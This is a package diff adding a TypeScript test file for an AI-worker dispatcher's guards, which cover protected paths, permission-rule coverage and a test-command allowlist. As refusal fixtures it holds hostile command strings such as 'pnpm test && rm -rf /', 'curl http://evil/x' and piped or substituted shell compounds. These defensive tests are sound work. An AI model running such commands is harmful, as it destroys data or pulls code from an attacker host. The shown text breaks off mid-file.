@aurorajs.dev/catalyst-cli 1.0.2 → 1.1.3

package/dist/templates/monorepo/scripts/backlog/guards.test.ts

@@ -0,0 +1,1766 @@
+/**
+ * TDD spec for `scripts/backlog/guards.ts`.
+ *
+ * Runner: `node --import tsx --test scripts/backlog/guards.test.ts`
+ *
+ * Covers the six dispatch guards from `specs/backlog-task-dispatcher/spec.md` — "Six dispatch
+ * guards over the selected task" — in their fixed evaluation order, plus the requeue-vs-block
+ * distinction design.md calls out explicitly: an unmet-but-known dependency leaves the task
+ * `Queued` (wait/requeue), while an unresolvable dependency id or an exhausted-attempts task is a
+ * hard `Blocked` (block). Also covers `resolveTestCommand`, the declared-`Test command:` allowlist
+ * this module owns — read by guard 1 here, by `launch.ts` for the worker's Bash grant, and by
+ * `close.ts` for the triad.
+ */
+import assert from 'node:assert/strict';
+import { describe, it } from 'node:test';
+import {
+  denyWouldRevoke,
+  evaluateGuards,
+  findPermissionConflict,
+  grantCovers,
+  HUMAN_REVIEW_PATHS,
+  isDeadBashRule,
+  LOCAL_FORBIDDEN_PATHS,
+  resolveTaskBase,
+  resolveTestCommand,
+  SECURITY_PATH_PATTERNS,
+  SLOT_EXECUTED_BASENAMES,
+  SLOT_EXECUTED_PATHS,
+  taskBaseBranch,
+  TEST_COMMAND_REFUSED,
+} from './guards.js';
+import {
+  DEFAULT_DISPATCH_LIMITS,
+  LANE,
+  TASK_STATUS,
+  type Board,
+  type SettingsAllowRule,
+  type SlotRegistry,
+  type Task,
+} from './types.js';
+
+// ── Fixtures ────────────────────────────────────────────────────────────────
+
+const baseTask = (overrides: Partial<Task> = {}): Task => ({
+  id: 'T-1',
+  status: TASK_STATUS.QUEUED,
+  tier: 'minor',
+  lane: LANE.LOCAL,
+  path: 'direct',
+  bc: 'backlog',
+  filesToTouch: ['scripts/backlog/guards.ts'],
+  testCommand: 'pnpm test:backlog',
+  acceptanceCriteria: [],
+  definitionOfDone: [],
+  dependsOn: [],
+  attempts: 0,
+  priority: 1,
+  createdAt: 0,
+  updatedAt: 0,
+  ...overrides,
+});
+
+const emptyBoard: Board = { tasksById: {} };
+
+const freeSlots = (): SlotRegistry => ({
+  slots: [
+    {
+      name: 'dispatch-a',
+      path: '/slots/a',
+      lane: null,
+      taskId: null,
+      pid: null,
+      lockfileHash: null,
+    },
+    {
+      name: 'dispatch-b',
+      path: '/slots/b',
+      lane: null,
+      taskId: null,
+      pid: null,
+      lockfileHash: null,
+    },
+    {
+      name: 'dispatch-c',
+      path: '/slots/c',
+      lane: null,
+      taskId: null,
+      pid: null,
+      lockfileHash: null,
+    },
+  ],
+});
+
+// ── The split path criteria (T-31): moved here from close.ts ─────────────────
+//
+// One criterion, two lists: does the file execute inside the slot during the attempt or the
+// close? `SLOT_EXECUTED_PATHS` plus the basename list `SLOT_EXECUTED_BASENAMES` (hard) answer
+// yes; `HUMAN_REVIEW_PATHS` (soft) answers no. `LOCAL_FORBIDDEN_PATHS` is the hard list plus the
+// local lane's own extras, unchanged by the split.
+
+describe('the split path criteria', () => {
+  it('SLOT_EXECUTED_PATHS holds the eleven hard entries', () => {
+    assert.deepEqual(SLOT_EXECUTED_PATHS, [
+      '.claude/settings.json',
+      '.claude/settings.local.json',
+      '.claude/hooks/',
+      '.claude/scripts/',
+      '.husky/',
+      'package.json',
+      'pnpm-lock.yaml',
+      'node_modules/',
+      '.backlog/',
+      'scripts/packager/',
+      'scripts/harness-rules/',
+    ]);
+  });
+
+  // The second entry the backward enumeration found: the close's mechanical triad runs
+  // `pnpm hr:lint-barrels` with `cwd` = the slot, and the root `package.json` maps that script to
+  // `tsx scripts/harness-rules/lint-barrels.ts` — the SLOT's copy of that file. The script name is
+  // protected (`package.json` is hard), the file it names was not.
+  it('SLOT_EXECUTED_PATHS covers the barrels linter the close runs from the slot', () => {
+    assert.ok(SLOT_EXECUTED_PATHS.includes('scripts/harness-rules/'));
+  });
+
+  // The entry the backward enumeration of design.md decision 1 found (T-31 review): the close's
+  // `mirrorRegen` step runs `node scripts/packager/publish.mjs` with `cwd` = the slot, and that
+  // script GLOBS `monorepo.mjs`, `backend/*.mjs` and `frontend/*.mjs` inside its OWN directory
+  // (`PACKAGER_DIR`, derived from `import.meta.url` — the slot's copy) and spawns every match with
+  // the dispatcher's inherited environment.
+  it('SLOT_EXECUTED_PATHS covers the packager the close spawns from the slot', () => {
+    assert.ok(SLOT_EXECUTED_PATHS.includes('scripts/packager/'));
+    assert.ok(!HUMAN_REVIEW_PATHS.some((pattern) => 'scripts/packager/'.includes(pattern)));
+  });
+
+  it('HUMAN_REVIEW_PATHS holds the dispatcher sources and the generator package', () => {
+    assert.deepEqual(HUMAN_REVIEW_PATHS, ['scripts/backlog/', 'packages/cli/']);
+  });
+
+  // `CLAUDE.md` is HARD on both lanes (T-31 round 2). The premise that demoted it — "a soft-list
+  // edit is inert during the attempt" — was measured false in two independent ways: the failure
+  // path pushes the whole slot tree to `task/<id>` (`saveWipAndPush`) and the retry's
+  // `checkout -B task/<id> origin/task/<id>` restores it, so attempt 2's executor boots reading
+  // what attempt 1 wrote; and on the frontier lane no mark of any kind is applied on a failed
+  // attempt, because that plan has no `open-pr` step. An instruction file is the one soft
+  // candidate whose restoration is a self-instruction channel, so it goes back to hard.
+  it('SLOT_EXECUTED_BASENAMES holds CLAUDE.md — hard on both lanes', () => {
+    assert.deepEqual(SLOT_EXECUTED_BASENAMES, ['CLAUDE.md']);
+  });
+
+  // The soft basename list is GONE, not emptied: `LOCAL_FORBIDDEN_BASENAMES` used to be derived
+  // from it (`[...HUMAN_REVIEW_BASENAMES]`), which made any future soft basename a local refusal
+  // by accident. One hard basename list, applied on both branches, has no such coupling.
+  it('exports no soft basename list any more', async () => {
+    const guards = (await import('./guards.js')) as Record<string, unknown>;
+    assert.equal(guards.HUMAN_REVIEW_BASENAMES, undefined);
+    assert.equal(guards.LOCAL_FORBIDDEN_BASENAMES, undefined);
+  });
+
+  it('LOCAL_FORBIDDEN_PATHS is the hard list plus the local lane extras, byte-for-byte', () => {
+    assert.deepEqual(LOCAL_FORBIDDEN_PATHS, [
+      ...SLOT_EXECUTED_PATHS,
+      '.claude/',
+      'scripts/',
+      '.git/',
+    ]);
+  });
+});
+
+// ── Guard 1: missing triage ───────────────────────────────────────────────────
+
+describe('evaluateGuards — guard 1: missing triage', () => {
+  for (const missing of ['tier', 'lane', 'path'] as const) {
+    it(`blocks when ${missing} is missing`, () => {
+      const task = baseTask({ [missing]: undefined });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'missing-triage');
+        assert.match(result.comment, /sin triage/i);
+      }
+    });
+  }
+});
+
+// ── T-6: guard 1 also refuses a tier:medium task on lane:local ───────────────
+//
+// Measured open: `worker-edit.ts --subtask`'s own label validator only ever refused tier:complex on
+// lane:local, so a tier:medium subtask reached the board, guard 1 let it through too, and
+// `resolveLane` only threw LATER — after a slot was already taken (`dispatch-failed`). tier:complex
+// keeps its own dedicated guard 2 (`complex-on-local`) unchanged — see the last case below.
+
+describe('evaluateGuards — guard 1: lane:local requires tier:minor', () => {
+  it('blocks tier:medium + lane:local, naming the mismatch', () => {
+    const task = baseTask({ tier: 'medium', lane: LANE.LOCAL });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'tier-lane-mismatch');
+      assert.match(result.comment, /tier:minor/);
+    }
+  });
+
+  it('lets tier:minor + lane:local through unaffected', () => {
+    assert.deepEqual(
+      evaluateGuards(baseTask(), emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []),
+      { kind: 'launch' },
+    );
+  });
+
+  it('still reports complex-on-local (guard 2), not tier-lane-mismatch, for tier:complex + lane:local', () => {
+    const task = baseTask({ tier: 'complex', lane: LANE.LOCAL });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'complex-on-local');
+    }
+  });
+});
+
+// ── G11: guard 1 also refuses a local task with no declared files ─────────────
+
+describe('evaluateGuards — guard 1: a local task with no "Files to touch:" line', () => {
+  it('blocks a lane:local task whose declared file list is empty, naming the missing line', () => {
+    const result = evaluateGuards(
+      baseTask({ filesToTouch: [] }),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      null,
+      [],
+    );
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-files-to-touch');
+      assert.match(result.comment, /Files to touch:/);
+    }
+  });
+
+  it('lets a lane:frontier task through with no declared files — it discovers its own scope', () => {
+    const task = baseTask({ lane: LANE.FRONTIER, tier: 'medium', filesToTouch: [] });
+    assert.deepEqual(
+      evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []),
+      { kind: 'launch' },
+    );
+  });
+});
+
+// ── J6: guard 1 also refuses a task with no "Test command:" line, on EITHER lane ──
+
+describe('evaluateGuards — guard 1: a task with no "Test command:" line', () => {
+  for (const lane of [LANE.LOCAL, LANE.FRONTIER] as const) {
+    it(`blocks a lane:${lane} task that declares none, naming the missing line`, () => {
+      const task = baseTask({
+        lane,
+        tier: lane === LANE.LOCAL ? 'minor' : 'medium',
+        testCommand: null,
+      });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'missing-test-command');
+        assert.match(result.comment, /Test command:/);
+      }
+    });
+  }
+
+  // K7: a line the allowlist REFUSES is worse than a missing one — the guard let it through, the
+  // worker ran a whole attempt, and the close then failed the triad on `refusal` at the very end.
+  // The same validator that refuses it at the close decides here, before anything is spawned.
+  for (const declared of [
+    'npx tsx --test scripts/backlog/close.test.ts',
+    'pnpm test && rm -rf /',
+    'curl http://evil/x',
+  ]) {
+    it(`blocks a task whose declared command the allowlist refuses: ${declared}`, () => {
+      const result = evaluateGuards(
+        baseTask({ testCommand: declared }),
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'refused-test-command');
+        assert.match(result.comment, new RegExp(TEST_COMMAND_REFUSED));
+        assert.ok(
+          result.comment.includes(declared),
+          'the comment must quote the line a person has to fix',
+        );
+      }
+    });
+  }
+
+  it('lets the repo own convention through untouched', () => {
+    const result = evaluateGuards(
+      baseTask({ testCommand: 'pnpm --filter aurora-back test x.spec.ts' }),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      null,
+      [],
+    );
+    assert.equal(result.kind, 'launch');
+  });
+});
+
+// ── Guard 1c: a declared hard-list path blocks in the queue (T-31, 2026-09-09) ────
+//
+// The defect T-31 measured: none of the guards compared a task's DECLARED files against the
+// forbidden list before a slot was spent — the close discovered it, four workers late. This guard
+// closes that on the HARD list only (design.md decision 4): the SOFT list is admissible work that
+// marks its pull request for human review instead, never a queue block.
+
+describe('evaluateGuards — guard 1c: a declared hard-list path', () => {
+  for (const lane of [LANE.LOCAL, LANE.FRONTIER] as const) {
+    it(`blocks a lane:${lane} task declaring a hard-list file, naming it`, () => {
+      const hardFile = SLOT_EXECUTED_PATHS[0];
+      const task = baseTask({
+        lane,
+        tier: lane === LANE.LOCAL ? 'minor' : 'medium',
+        filesToTouch: [hardFile],
+      });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'slot-executed-path');
+        assert.ok(
+          result.comment.includes(hardFile),
+          'the comment must name the offending declared file',
+        );
+      }
+    });
+  }
+
+  // Every entry, not just the first: a guard tested against `SLOT_EXECUTED_PATHS[0]` alone proves
+  // nothing about the rest of the list, and the entries do not all have the same shape — some are
+  // exact files, some are directory prefixes. The loop is over the list itself so it keeps
+  // covering every entry when one is added.
+  for (const pattern of SLOT_EXECUTED_PATHS) {
+    const declared = pattern.endsWith('/') ? `${pattern}whatever.ts` : pattern;
+    it(`blocks a task declaring ${declared}`, () => {
+      const task = baseTask({ filesToTouch: [declared] });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'slot-executed-path');
+      }
+    });
+  }
+
+  // The matcher lowercases both sides, so a declaration that differs only in casing is the same
+  // declaration. A case-sensitive match would let `Package.json` through the queue.
+  it('blocks a declaration that differs from the pattern only in casing', () => {
+    const task = baseTask({ filesToTouch: ['Backend/Package.json'] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'slot-executed-path');
+    }
+  });
+
+  // A DIRECTORY declaration (trailing `/`, the shape `close.ts`'s `isDeclared` reads as "the whole
+  // subtree is mine") REACHES every hard entry under it, so the guard must see it. A plain
+  // substring match does not: `.claude/` does not contain `.claude/settings.json`, so `- .claude/`
+  // used to sail past guard 1c and be discovered at close instead — the exact cost this guard
+  // exists to save.
+  // A directory declaration is a directory declaration whether or not the person typing it
+  // remembered the trailing slash. Gating the containment direction on `endsWith('/')` let
+  // `- .claude` and `- scripts` — the shapes a `Files to touch:` list is actually written in —
+  // sail past guard 1c, which is exactly the wasted worker this guard exists to prevent. The
+  // declaration is normalised to a directory prefix instead, so `.claude` reaches
+  // `.claude/settings.json` the same way `.claude/` does.
+  for (const declared of ['.claude/', 'scripts/', '.claude/hooks/', '.claude', 'scripts', '.backlog']) {
+    it(`blocks a directory declaration that covers a hard entry: ${declared}`, () => {
+      const task = baseTask({ filesToTouch: [declared] });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'slot-executed-path');
+      }
+    });
+  }
+
+  // The reverse direction matches on SEGMENT boundaries, so a declaration that is a bare textual
+  // prefix of a pattern is not a declaration of it: `package` prefixes `package.json` but names the
+  // directory `package/`, which no hard entry lives under, and `pnpm-lock` does the same to
+  // `pnpm-lock.yaml`. Both inputs are real prefixes of a hard entry, so dropping the boundary and
+  // matching on a raw `startsWith` turns these green tests red — which is what makes them cover
+  // the rule instead of merely running past it (mutation-checked, T-31 round 2: the previous
+  // version of this test used `packages/cli/src/generator.ts`, which prefixes nothing and stayed
+  // green with the whole direction deleted).
+  for (const declared of ['package', 'pnpm-lock']) {
+    it(`does not block the bare prefix declaration ${declared}, which no hard entry lives under`, () => {
+      const task = baseTask({ filesToTouch: [declared] });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.notEqual(result.kind, 'block');
+    });
+  }
+
+  // The instruction file is HARD again on both lanes (T-31 round 2), and guard 1c blocks a task
+  // that declares it — matched by BASENAME at any depth, and case-insensitively, exactly as
+  // `checkScope` matches it against the real diff.
+  for (const declared of ['CLAUDE.md', 'backend/CLAUDE.md', 'frontend/claude.md']) {
+    it(`blocks a task declaring the instruction file ${declared}`, () => {
+      const task = baseTask({ filesToTouch: [declared] });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'slot-executed-path');
+        assert.ok(result.comment.includes(declared));
+      }
+    });
+  }
+
+  // The basename is a WHOLE-NAME match, not a substring: a file whose name merely contains it is
+  // ordinary work.
+  it('does not block a declaration whose name only contains the instruction-file name', () => {
+    const task = baseTask({ filesToTouch: ['docs/claude.mdx'] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.notEqual(result.kind, 'block');
+  });
+
+  it('does not block a task declaring only soft-list files — admissible, marks the PR instead', () => {
+    const task = baseTask({ filesToTouch: [HUMAN_REVIEW_PATHS[0]] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.notEqual(result.kind, 'block');
+  });
+
+  it('does not fire on a task declaring no files at all', () => {
+    const task = baseTask({ lane: LANE.FRONTIER, tier: 'medium', filesToTouch: [] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.notEqual(result.kind, 'block');
+  });
+
+  it('reports missing triage before a declared hard-list path (guard 1 runs first)', () => {
+    const task = baseTask({ lane: undefined, filesToTouch: [SLOT_EXECUTED_PATHS[0]] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-triage');
+    }
+  });
+
+  it('reports the block before a no-free-slot wait, never the other way round', () => {
+    const busySlots: SlotRegistry = {
+      slots: [
+        {
+          name: 'dispatch-a',
+          path: '/slots/a',
+          lane: LANE.LOCAL,
+          taskId: 'T-99',
+          pid: 1,
+          lockfileHash: 'x',
+        },
+      ],
+    };
+    const task = baseTask({ filesToTouch: [SLOT_EXECUTED_PATHS[0]] });
+    const result = evaluateGuards(
+      task,
+      emptyBoard,
+      busySlots,
+      { ...DEFAULT_DISPATCH_LIMITS, capacity: { [LANE.LOCAL]: 1, [LANE.FRONTIER]: 2 } },
+      null,
+      [],
+    );
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'slot-executed-path');
+    }
+  });
+});
+
+// ── Guard 1b: permission composition (BOTH lanes) ─────────────────────────────
+//
+// R2 (round 10): this refusal used to live in `buildLaunch`, which runs AFTER the slot is acquired
+// and the attempt directory is created — so a conflict only a person can resolve cost a worktree
+// slot, an attempt and a `dispatch-failed` block. It is a property of the task and the settings
+// files the launch reads, knowable before anything is taken, so it belongs with the other guard-1
+// checks. It was also frontier-only, because `--bare` was read as "the local lane loads no settings
+// source" — measured wrong in T-5, so the local lane composes the same lists now.
+
+/** Loaded allow rules tagged with the settings file they came from — the shape guard 1b compares. */
+const projectRules = (...rules: string[]): SettingsAllowRule[] =>
+  rules.map((rule) => ({ rule, source: 'project' as const }));
+const userRules = (...rules: string[]): SettingsAllowRule[] =>
+  rules.map((rule) => ({ rule, source: 'user' as const }));
+
+/** The frontier lane's shipped shape, reduced to what the coverage comparison needs. */
+const frontierGrants = (...extra: string[]): string[] => [
+  'Read',
+  'Grep',
+  'Glob',
+  'Edit(./**)',
+  'Write(./**)',
+  'Bash(openspec:*)',
+  'Bash(pnpm --filter * test)',
+  'Bash(pnpm --filter * test *)',
+  ...extra,
+];
+
+describe('evaluateGuards — guard 1b: a settings rule broader than one the launch grants', () => {
+  const frontierTask = (overrides: Partial<Task> = {}): Task =>
+    baseTask({ lane: LANE.FRONTIER, tier: 'medium', ...overrides });
+
+  it('blocks the task, naming both rules, before any slot is considered', () => {
+    const result = evaluateGuards(
+      frontierTask({ testCommand: 'pnpm test:hooks scripts/x.test.ts' }),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      {
+        settingsAllow: projectRules('Bash(pnpm test:hooks:*)'),
+        grantedAllow: frontierGrants('Bash(pnpm test:hooks scripts/x.test.ts:*)'),
+      },
+      [],
+    );
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'permission-conflict');
+      assert.ok(
+        result.comment.includes('Bash(pnpm test:hooks:*)'),
+        'the settings rule must be named',
+      );
+      assert.ok(
+        result.comment.includes('Bash(pnpm test:hooks scripts/x.test.ts:*)'),
+        'the grant it would revoke must be named too',
+      );
+    }
+  });
+
+  it('launches a task whose declared command no settings rule swallows', () => {
+    const result = evaluateGuards(
+      frontierTask({ testCommand: 'pnpm --filter aurora-back test' }),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      {
+        settingsAllow: projectRules(
+          'Bash(pnpm test:hooks:*)',
+          'Bash(pnpm --filter aurora-back test:*)',
+        ),
+        grantedAllow: frontierGrants('Bash(pnpm --filter aurora-back test:*)'),
+      },
+      [],
+    );
+    assert.equal(result.kind, 'launch');
+  });
+
+  // A non-covered scoping of a FILE tool is a conflict only when the deny that cancels it would
+  // reach INSIDE the slot — that deny is what takes away the worker's ability to open a file there.
+  // A scoping that only reaches outside the slot is denied like any other rule, which is the point.
+  for (const rule of ['Edit(frontend/**)', 'Edit(**)', 'Edit(./**)', 'Edit']) {
+    it(`blocks a settings rule whose deny would disable a file tool inside the slot: ${rule}`, () => {
+      const result = evaluateGuards(
+        frontierTask(),
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        {
+          settingsAllow: projectRules(rule),
+          grantedAllow: ['Read', 'Write(./**)', 'Bash(openspec:*)'],
+        },
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'permission-conflict');
+        assert.ok(result.comment.includes(rule));
+      }
+    });
+  }
+
+  for (const rule of ['Edit(/etc/**)', 'Edit(~/notes/**)', 'Edit(../**)']) {
+    it(`lets a file-tool scoping that only reaches outside the slot fall through to a deny: ${rule}`, () => {
+      const result = evaluateGuards(
+        frontierTask(),
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        {
+          settingsAllow: projectRules(rule),
+          grantedAllow: ['Edit(./**)', 'Bash(openspec:*)'],
+        },
+        [],
+      );
+      assert.equal(result.kind, 'launch');
+    });
+  }
+
+  // A USER-file path scoping is relative to the home directory, not to the slot, so the lane's
+  // slot-scoped `Edit(./**)` does not cover it — it only looks like it does once the `./` is
+  // normalised away. The lane cannot express "everything under $HOME", so the launch cannot make
+  // this rule safe: it is a conflict a person resolves.
+  for (const rule of ['Edit', 'Edit(**)', 'Edit(./**)']) {
+    it(`blocks a user-file rule with no path scoping of its own: ${rule}`, () => {
+      const result = evaluateGuards(
+        frontierTask(),
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        {
+          settingsAllow: userRules(rule),
+          grantedAllow: frontierGrants(),
+        },
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'permission-conflict');
+        assert.ok(result.comment.includes(rule));
+      }
+    });
+  }
+
+  // Unless the lane grants that tool BARE, which is the one grant that does reach outside the slot.
+  it('accepts a user-file rule for a tool the lane grants bare', () => {
+    const result = evaluateGuards(
+      frontierTask(),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      {
+        settingsAllow: userRules('Read', 'Read(**)'),
+        grantedAllow: frontierGrants(),
+      },
+      [],
+    );
+    assert.equal(result.kind, 'launch');
+  });
+
+  // It used to be frontier-only, on the reading that `--bare` made the local lane load no settings
+  // file at all. Measured wrong (T-5, 2026-09-07): `--bare` skips hooks, LSP, plugin sync,
+  // auto-memory, keychain reads and `CLAUDE.md` discovery — not settings. The local lane now passes
+  // `--setting-sources user` and composes the same deny list, so the same overlap with no safe
+  // answer is reachable on it, and the same guard decides it before a slot is taken.
+  it('fires on the local lane too: a user-file rule broader than its per-task test grant', () => {
+    const result = evaluateGuards(
+      baseTask({ testCommand: 'pnpm test:hooks scripts/x.test.ts' }),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      {
+        settingsAllow: userRules('Bash(pnpm test:hooks:*)'),
+        grantedAllow: ['Read', 'Edit(./**)', 'Bash(pnpm test:hooks scripts/x.test.ts:*)'],
+      },
+      [],
+    );
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'permission-conflict');
+      assert.ok(result.comment.includes('Bash(pnpm test:hooks:*)'));
+    }
+  });
+
+  // And it stays silent when the loaded user file grants nothing the lane does not already cover —
+  // the shape of this machine, whose user file declares an empty `permissions.allow`.
+  it('launches a local task whose user file adds nothing the lane does not grant', () => {
+    const result = evaluateGuards(
+      baseTask({ testCommand: 'pnpm --filter aurora-back test' }),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      {
+        settingsAllow: [],
+        grantedAllow: ['Read', 'Edit(./**)', 'Bash(pnpm --filter aurora-back test:*)'],
+      },
+      [],
+    );
+    assert.equal(result.kind, 'launch');
+  });
+
+  it('runs after the triage checks — a refused test command is still the reason', () => {
+    const result = evaluateGuards(
+      frontierTask({ testCommand: 'pnpm test && rm -rf /' }),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      {
+        settingsAllow: projectRules('Bash(pnpm test:hooks:*)'),
+        grantedAllow: ['Bash(pnpm test:hooks x:*)'],
+      },
+      [],
+    );
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'refused-test-command');
+    }
+  });
+
+  it('is a no-op when the caller passes no composition (the local-lane path)', () => {
+    assert.equal(
+      evaluateGuards(frontierTask(), emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [])
+        .kind,
+      'launch',
+    );
+  });
+});
+
+describe('grantCovers', () => {
+  it('covers a longer command line under the same prefix', () => {
+    assert.equal(grantCovers('Bash(openspec:*)', 'Bash(openspec status:*)'), true);
+  });
+
+  // T-7: the granted rule is the exact-form half of the pair the lane ships (no trailing `:*`,
+  // so it is not `isDeadBashRule`) — its base has no trailing space, so the remainder after the
+  // match is empty and coverage holds without needing a boundary character.
+  it('reads a mid-rule * as a wildcard', () => {
+    assert.equal(
+      grantCovers('Bash(pnpm --filter * test)', 'Bash(pnpm --filter aurora-back test:*)'),
+      true,
+    );
+  });
+
+  // R3a: a prefix match is not coverage on its own. `Bash(git status:*)` matches the string
+  // `git statusfoo`, which is a different command, and it matches `git status && fd .`, which is
+  // TWO — the second of them a command the lane spent its deny list refusing.
+  it('refuses a prefix that resumes mid-token', () => {
+    assert.equal(grantCovers('Bash(git status:*)', 'Bash(git statusfoo:*)'), false);
+  });
+
+  for (const compound of [
+    'Bash(git status && fd .:*)',
+    'Bash(git status || fd .:*)',
+    'Bash(git status; fd .:*)',
+    'Bash(git status | sh:*)',
+    'Bash(git status $(fd .):*)',
+    'Bash(git status > out:*)',
+    'Bash(git status < in:*)',
+  ]) {
+    it(`refuses a candidate carrying a shell operator: ${compound}`, () => {
+      assert.equal(grantCovers('Bash(git status:*)', compound), false);
+    });
+  }
+
+  // R3b: `./**` and `**` are the same scope, and the lane spells it `./**` because the cwd is the
+  // slot. Without the normalization every project `Edit(<dir>/**)` read as uncovered, and the deny
+  // composed for it would have taken away the worker's write access to that directory.
+  it('normalizes a leading ./ on both sides of a path rule', () => {
+    assert.equal(grantCovers('Edit(./**)', 'Edit(frontend/**)'), true);
+    assert.equal(grantCovers('Edit(**)', 'Edit(./frontend/**)'), true);
+  });
+
+  it('does not apply the command-shaped checks to a path rule', () => {
+    assert.equal(grantCovers('Read', 'Read(frontend/src/**)'), true);
+  });
+
+  it('a bare tool rule is covered by nothing narrower', () => {
+    assert.equal(grantCovers('Edit(./**)', 'Edit'), false);
+  });
+
+  // R11: `:` separates a pnpm script name from its subcommand, so it is a token boundary exactly
+  // like a space. Reading it as mid-token made `Bash(pnpm --filter * test)` NOT cover
+  // `Bash(pnpm --filter aurora-back test:extra:*)`, and a rule the lane does grant was then
+  // composed into the deny list — where it revoked the grant it duplicated.
+  it('treats a colon as a token boundary, like a space', () => {
+    assert.equal(
+      grantCovers('Bash(pnpm --filter * test)', 'Bash(pnpm --filter aurora-back test:extra:*)'),
+      true,
+    );
+    assert.equal(grantCovers('Bash(pnpm test:*)', 'Bash(pnpm test:hooks x:*)'), true);
+  });
+
+  // A granted base whose own trailing boundary was consumed by the wildcard (`Bash(git *)` → `git `)
+  // has already matched at a boundary: what follows is an argument list, not the rest of a token.
+  it('accepts the remainder when the granted base itself ends at a boundary', () => {
+    assert.equal(grantCovers('Bash(git *)', 'Bash(git status:*)'), true);
+  });
+
+  // R11: `./` normalisation turns the lane's `Edit(./**)` into an empty base, which then matched
+  // ANY path — `../**` included, the one relative scoping that is emphatically outside the slot.
+  it('does not cover a scoping that climbs out of the working directory', () => {
+    assert.equal(grantCovers('Edit(./**)', 'Edit(../**)'), false);
+    assert.equal(grantCovers('Edit(**)', 'Edit(../../etc/**)'), false);
+  });
+});
+
+// A deny is matched by Claude Code as a RAW prefix — no token boundary, no shell-operator opinion —
+// so "would a deny for this rule revoke that grant?" is a different question from "does that grant
+// already cover this rule?". Asking the strict one in the deny direction let a BROAD settings rule
+// read as unrelated to the narrow grant it swallows, and it was then emitted as a deny that killed
+// the grant.
+describe('denyWouldRevoke', () => {
+  it('reads the deny as a raw prefix, with no token boundary required', () => {
